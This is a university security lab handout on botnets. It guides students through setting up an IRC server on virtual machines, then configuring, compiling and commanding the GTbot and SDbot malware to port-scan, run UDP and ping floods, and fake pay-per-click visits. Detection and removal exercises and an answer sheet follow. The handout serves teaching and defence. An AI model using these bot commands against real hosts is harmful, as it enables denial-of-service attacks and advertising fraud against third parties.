ECE 4112 Internetwork Security

Lab 12: Botnets
Group Number:   ______________________ 
Member Names:  ______________________     _________________________  
Date Assigned: 

Date Due:
Last Edited:
Lab Authored by:  Adam Bernstein, Virosius Putra, and Siddhartha Kasivajhula
Please read the entire lab and any extra materials carefully before starting.  Be sure to start early enough so that you will have time to complete the lab.  Answer ALL questions and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due.
Goal: To explore the functioning of botnets and develop a practical knowledge of their inner workings and their potential for destruction. Such knowledge should aid in the detection of weaknesses in these networks and will therefore permit network administrators to effectively counter them.
Summary: In this lab, you will install an IRC client and set up IRC chat channels between several of your Virtual Machines. This is intended to simulate a real world IRC network, where botnets are known to proliferate. Once this network is set up, you will install the bots on some of your virtual machines and execute control over them from another “remote” virtual machine, and will perform Denial of Service (DoS) attacks such as pingFlood and UDPFlood.
Background and Theory: What is a botnet? A botnet is a collection of “software robots” that can be controlled centrally to achieve some common (and usually malicious) objective. The combined computational and networking resources of all the computers within the botnet render attacks carried out through such networks extremely potent. Growth in a botnet is achieved through “expansion and conversion” – the bots are continually spread through chatrooms (this process is usually automated), and once a host computer is infected with the bot (in this sense, the bot behaves like a worm), it becomes a “zombie” computer and is assimilated into the botnet, and also contributes to the further expansion of the network. Therefore, growth typically follows an exponential pattern, and attacks through botnets are extremely difficult to trace and attribute to a single user. 
Prelab Questions:  none
Lab Scenario: First, we will need to set up a virtual IRC network. This is representative of the real-life scenario where bots are primarily propagated over IRC chat channels.
You will need to have at least 3 Windows XP Pro virtual machines for this lab. Additional virtual machines can be created by copying the windows XP Pro VMWare files to a new directory and creating a new virtual machine in VMWare that uses these files. Refer to Lab 1 for more detailed instructions on setting up virtual machines. Name your virtual machines “Windows XP Pro,” “Windows XP Pro Copy,” and “Windows XP Pro Copy 2,” “Windows XP Pro Copy 3”.
For this lab. Do not turn on your RedHat7.2 Machines since the XP machines will need all 4 remaining IPs.

The WinXPPro machine will be the IRC server. (57.35.6.x+2)
The WinXPProCopy machine will be the attacker (master). (57.35.6.x+3)
The WinXPProCopy2 machine will be compromised (zombie). (57.35.6.x+4)
The WinXPProCopy3 machine will also be compromised (zombie) (57.35.6.x+1)
We will now install the IRC server software.
Section 1: Setting Up the IRC Server & Client

SERVER

You will be installing a windows mIRC server called Unrealircd (http://www.unrealircd.com/). Download UnrealIRCd from NAS
Double click the Unreal3.2.3 setup in the included files. Then follow the installation by clicking next and agree where needed. Once the initial installation is completed, copy the file msvcr70.dll into the Unreal directory. By default this is C:\Program Files\Unreal3.2.

Next we will setup the server configuration; you can read further about the specifics of this in the UnrealIRCd documentation. To save time, a simple configuration file has been included, and only a few simple changes need to be made.

1) Double Click the unrealircd.conf file to open it.

2) The first line under the “me” setting reads name – change it to the ip-address of the machine you are on.

Next copy the unrealircd.conf file into the Unrealircd directory. Now your server should be ready to start, double click wircd.exe and it will boot up.

CLIENT
On the Windows XPPro machine, download mIRC (http://www.mirc.com/) from NAS. Extract and install the software, using all the default options.
Copy the mirc616 installer from the lab folder on the NAS to the master’s desktop. Double click the installer. Click yes, and install it to the default directory. Once mIRC is installed, double click on the mIRC icon, which should be on your desktop. If the icon is not there, you can also run it from C:\Program Files\mIRC\mirc.exe.
Now that mIRC is open, we will configure it to connect to our server.

1) Click on the file tab and goto select server

2) Goto the Connect tab.

3) Fill in the fullname area (you can use whatever you want here)

4) Fill in the email area (you can also use whatever you want here)

5) Fill in the nickname area with GroupxxMaster, where xx is your group number.

6) Expand the Connect tab, and goto servers

7) Click the Add button

8) Fill in the Description as “ECE4112 Server”.

9) Fill in the IRC server with the following IP address: <IP of your IRC Server>
10) The port should be set to 6667 (this is the default).

11) Click on add.

12) Make sure that “ECE4112 Server” is selected in the server tab, then click “connect to server.”
This should connect you to your server. 

Section 2: GTBot

In this section you will setup and run GTbot on your XP zombie machine. It is assumed that the target machine has been infiltrated and the files copied onto it using techniques that you have learned in other labs this semester.

On your windows XP Zombie machine, connect to Network Attached Storage, and copy the folder GTbot to your XP desktop. 

First we will configure the password that the bot will respond to:

1) Open up PR.ini and search for the string login.

2) Change set %pass tmppassword to set %pass <password> where <password> is any password you want your bot to respond to. You may simply use ‘password’.


Next we will configure the server that the bot connects to.
1) Open up remote.ini and change  n0=%server quenchserv.mine.nu 


to n0=%server <server IP> 

2)  Double-click on mirc.ini and change 


host=quenchserv.mine.nuSERVER:quenchserv.mine.nu:6667

to: host=____________Server:____________:6667

Finally we will configure the chat room that the bot will log into.
1) With MIRC.ini opened, change:

{ if (%chan == $null) { set %chan #attempt }

to


{ if (%chan == $null) { set %chan #groupXX }

where XX is your group’s number.
On your XP Master’s client, connect to the server, and type /join #groupXX.
Now that the bot is setup, it can be run by executing the WHVLXD.exe file (with the folder structure intact). It should try to connect to the server and join channel #groupXX. Sometimes this takes a little while, but typically it occurs in less than a minute.

Once your bot connects to the channel (you can tell this as another person with a random name should join the channel), type in the following on your XP Master client in the chat room: !login <password> where <password> is what you had set earlier.

After you have logged in, run a port scan on another machine (your RedHat WS 4.0 host machine will do nicely). To do this, type the following in the chat window from the master: !portscan <RedHat WS4.0 IP> <starting port> <ending port> (only 800 poits per portscan allowed). 
Screenshot #1: Take a screenshot of your XP Master client’s chat window where the bot is responding to the login and doing the port scan.
Q 2.1) What program is connecting the XP-Zombie to the mIRC server? (Hint, go into the GTbot folder and double click on the TMP2.exe, which hides and un-hides folders).
Q 2.2) How would you prevent something like GTbot running on your computer and or connecting to the server?

Q 2.3) Do you think that GTbot would be able to run without its ini files? (mirc.ini etc) Why or why not?
Section 3: SDBot

In this section you will setup and run SDbot on all three XP virtual machines. It is assumed that the files have been previously copied to the targeted machine via some other exploit (buffer overflow, browser exploit, etc.).
SDbot is a C program bot, so you will also have to install a windows C compiler, MinGW (http://www.mingw.org/). Copy the file MinGW-5.0.0.exe from the lab folder on the NAS to your windows zombie desktop. Double click it and install it to the default directory.

Next copy the SDbot folder to both the zombie desktops. Open up sdbot05a.c in your favorite text editor (notepad should work fine). Scroll down until you see 

const char botid[] = "set_me"; // bot id

From here there are a few variables to change.

1) Change botid[] = “set_me”; to
botid[] = “bot_groupxx” where z is the length of the string +1, and xx is your group number.

2) Change password[] = "set_me"; to password[] = "<password>"; where z is the length of the string+1 and password is the password you want your bot to respond to. You may use something simple, such as ‘password’.

3) Change server[] = "set_me"; to server[] = "testServer”
where z is the length of the string+1 and <server IP> is the IP address of the chat server (given previous in the lab).

4) Change channel[] = "set_me"; to channel[] = "#groupXX";
where z is the length of the string +1 and XX is your group’s number.

5) ) Change filename[] =  “cnfgld32.exe”; to filename[] =  “sdbot05a.exe”;

Next, double click on the make-mingw.bat to compile the bot.

Finally, open up sdbot05a.exe which will run the bot on of your XP-zombie.

Copy the already configured SDbot folder to the other zombie XP machine.
On your windows XP-master, make sure that your client is still in the #groupXX channel.

When two random nicked person enters the chat room, type .login <password> where <password> is what you set earlier. You should now be able to control the bot.

Now type .sysinfo in the master’s chat window. You should see various bits of information on the zombie system.
Screenshot #2: Take a screenshot of your XP Master client’s chat window where the bot is responding to the login and the sysinfo command.
NOTE: If you have to run sdbot05a.exe again for some reason, (i.e. after you have changed the source code), make sure that neither sdbot05a.exe nor cnfgld32.exe is running in the task manager.
Q 3.1) How does SDbot differ from GT bot in the way that it connects to the mIRC server?

Q 3.2) Do you think it is easier to infect something with SDbot or GTbot? Why?

Section 4: Botnet Attacks
4.1 UDP Flood

1. Open up ethereal and filter the packets with these expressions: ( ((ip.src=<Zombie1 ip>) && (ip.dst=< WS4.0 ip>) && udp) || (ip.src=<Zombie2 ip> && (ip.dst=< WS4.0 ip>) && udp) )

2. Click on the Capture tab and click on Options.

3. Check the "real time" and "automatic scrolling" under display options and start Capture.

4. SDbot command for udp flood: .udp <host> <#packets> <size> <delay> [port]

5. Type in the channel: .udp <WS4.0 ip> 1000 4096 1 23 in the #groupXX channel to flood the WS4.0 machine with 1000 packets with 4096 bytes in size for each packet. Delay is 1 ms and destination is port 23. If port number is not specified, SDbot will choose a random port number. 

6. Wait until the bots displayed "finished sending packets to < WS4.0 ip>".

7. Stop Ethereal.

8. Click on the Statistics tab on the ethereal

9. Click on “Summary”
10. Check the Avg MBit/s traffic Displayed (remember this is for 2 bots)

Q4.1. How many bots would be needed to flood a 1 Gbit link with UDP packets?

4.2 Ping Flood

1. Open up ethereal and filter the packets with these expressions:  ( ((ip.src=<Zombie1 ip>) && (ip.dst=< WS4.0 ip>) && icmp) || (ip.src=<Zombie2 ip> && (ip.dst=< WS4.0 ip>) && icmp) )

2. Click on the Capture tab and click on Options.

3. Make sure "real time" and "automatic scrolling" under display options is checked and start Capture.

4. SDbot command for ping flood: .ping <host> <#packets> <size> <delay> [port]

5. Type .ping < WS4.0 ip> 1000 4096 1 23 to flood the RedHat7.2 machine with 1000 ping packets. Delay is 1 ms and destination is port 23. If port number is not specified, SDbot will choose a random port number. 

6. Wait until the bot displayed "finished sending packets to < WS4.0 ip>".

7. Stop Ethereal.

8. click on the Statistics tab on the ethereal

9. Click on “Summary”
10. Check the Avg MBit/s traffic Displayed (remember this is for 2 bots)

Q4.2. How many bots would be needed to flood a 1 Gbit link with ICMP packets?

Q4.3. From the result of the two floods, which one is the more efficient UDP or ICMP flood?

Q4.4. Based on your answer to number 1, when would you not use the more efficient one?

However, these cases are generated using VMware and the traffic is much faster than real life cases.
4.3 Fraudulent pay-per-click count
Another use that botnets have been put to is to generate a fraudulent number of webpage referrals in pay-per-click advertising schemes. This is how it works: An advertising agency puts up a “banner” on an individual’s webpage, and pays the individual a nominal amount every time a visitor to the webpage clicks on the banner (which is a link to the sponsor’s website). Botnets can be used to generate large numbers of false “clicks,” on these banners, thus fraudulently earning the individual a lot of money. This is how this is accomplished:
1. Open up ethereal and filter the packets with these expressions:  ( ((ip.src=<Zombie ip>) && (ip.dst=57.35.6.10) && tcp) || (ip.src=57.35.6.10 && (ip.dst=<Zombie ip>) && tcp) )

2. Click on the Capture tab and click on Options.

3. Make sure "real time" and "automatic scrolling" under display options is checked and start Capture.

4. SDbot command for fraudulent pay-per-click: .visit http://57.35.6.10/index.html http://<yourWebSite>.com

6. Wait until the bot displayed “url visited.”

7. Stop Ethereal.

8. Now examine any tcp packet by right-clicking and selecting “Follow TCP stream.” 
Screenshot #3: Take a screenshot of the tcp stream showing the source and referrer web page.

Section 5: Defense Against the Dark Bots
Bot Detection

Of course, utilities such as virus scanners and firewalls will usually detect or prevent the operation of botnets, but we may also use Ethereal to detect the presence of a bot. To do this,
Q.5.1. Ethereal can detect transmissions that follow the IRC protocol. How can you use Ethereal to infer the presence of a bot with high probability? Attempt your proposed solution and attach a screenshot showing the Ethereal output (Screenshot #4).
A. Shut down most non-essential applications and start capture with Ethereal when the computer is in this idle state, filtering outgoing packets for the zombie machine. If IRC packets are detected at this time, one may infer the presence of a bot.

Bot Removal

Locating SDBot on your system can be quite difficult. 
1. Open the file “sdbot05a.c”

2. Search for the function “void uninstall (void)” and examine its code

    From this, you should be able to tell what the names of SDBot’s registry entries.

3. Open the registry editor by clicking Start(Run and typing in “regedit”.

4. Delete the registry entries as described by the source code and restart the computer.

5. Verify that sdbot05a.exe and TEMP.exe no longer show up as processes in Windows Task Manager.

Q.5.2. How would a user know where in registry the bot will be located if the source code were not available for inspection?

Other methods used
Other methods used against bots include passive OS fingerprinting, nullrouting, and redundancy.
Appendix A: Creating a new XP VM
 In VMware the virtual machine files are stored in directories in your root directory by default. You just need to copy all the files from a machine's directory to a new one and then make a new machine using these files. 

In your Red Hat WS 4.0 physical machine's root directory make a new directory called winXPProCopy


#cd /root


#mkdir winXPProCopy

Copy all the files from the winXPPro directory into this new directory.


#cp winXPPro/*.* winXPProCopy/

This will take some time as the image file is quite large.

Start VMware and click File->New->New virtual machine

Choose custom and click Next.

Select the operating system as Windows XP Professional.

Change the name of the new machine to winXPProCopy and change the directory to /root/winXPProCopy. Click Next.

Adjust the virtual memory so that you can run all three machines at the same time. Bring it down to 128mb for now. 

Select Bridged networking and click Next.

Choose “Use an existing virtual disk” and click Next. 

Click Browse and choose the file called winXPPro.vmdk in the new directory.

Click Finish. 

This will create a new virtual machine on your host system. 

You will need to change the ip address of the new WinXP virtual machine. Change it to the old WinXP machine address + 1. For example, if it was w.x.y.z of the original XP machine, change it to w.x.y.z+1. To do this:

Start the new virtual machine. If it gives you a warning about low memory just click ok as you won't be using this machine for too long.

Click Start -> Control Panel

Network and Internet Connections

Network Connections 

Right Click on local area connections

Properties

Select TCP/IP

Properties

Make your changes and click OK

Use VMware to stop the machine; then start it again. You now have two copies of Windows XP virtual machines for VMWare.
Answer Sheet Lab 12
Group Number: _______________

Member Names: _________________________     _________________________

Section 2: GTbot
Q 2.1) What program is connecting the XP-Zombie to the mIRC server? (Hint, go into the GTbot folder and double click on the TMP2.exe, which hides and un-hides folders).
Q 2.2) How would you prevent something like GTbot running on your computer and or connecting to the server?

Q 2.3) Do you think that GTbot would be able to run without its ini files? (mirc.ini etc) Why or why not?
Section 3: SDbot
Q 3.1) How does SDbot differ from GT bot in the way that it connects to the mIRC server?

Q 3.2) Do you think it is easier to infect something with SDbot or GTbot? Why?

Section 4: Botnet Attacks
Q4.1. How many bots would be needed to flood a 1 Gbit link with UDP packets?

Q4.2. How many bots would be needed to flood a 1 Gbit link with ICMP packets?

Q4.3. From the result of the two floods, which one is the more efficient UDP or ICMP flood?

Q4.4. Based on your answer to number 1, when would you not use the more efficient one?

Section 5: Defense Against the Dark Bots
Q.5.1. Ethereal can detect transmissions that follow the IRC protocol. How can you use Ethereal to infer the presence of a bot with high probability? Attempt your proposed solution and attach a screenshot showing the Ethereal output.

Q.5.2. How would a user know where in registry the bot will be located if the source code were not available for inspection?

How long did it take you to complete this lab? Was it an appropriate length lab? 

What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyx adds a capability or additional or better learning experience for future students here is what you need to do.  You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements.
Turn-in Checklist

· Answer Sheet
· 2 IRC window screen shots

· 1 screen shot of fraudulent webpage referral

· 1 screen shot of Ethereal output (4 screens total)

· Any changes/improvement to this lab
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